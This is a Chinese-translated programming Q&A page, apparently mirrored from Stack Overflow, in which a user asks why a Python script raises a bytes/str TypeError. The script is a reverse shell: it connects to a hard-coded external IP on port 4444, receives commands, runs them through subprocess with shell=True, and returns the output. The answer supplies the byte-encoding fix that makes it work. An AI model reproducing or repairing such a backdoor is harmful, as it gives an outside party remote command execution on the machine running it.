繁体   English   中英

Python 错误类型错误:需要类似字节的 object,而不是“str”

[英]Python ERROR TypeError: a bytes-like object is required, not 'str'

我不明白是什么问题请帮忙

在控制台中运行时出现以下错误:

TypeError: a bytes-like object is required, not 'str' 

#!/usr/bin/env python

import socket
import subprocess

def execute_system_command(command):
    return subprocess.check_output(command, shell = True)

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("213.32.21.3", 4444))

connection.send("\n[+] Connection established. \n")

while True:
    command = connection.recv(1024)
    command_result = execute_system_command(command)
    connection.send(command_result)

    connection.close()

  

您需要以字节而不是 str 的形式发送消息。 只需这样做:

connection.send(bytes(<Your Message>, "utf-8"))

将您的消息解析为字节 function 的第一个参数。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM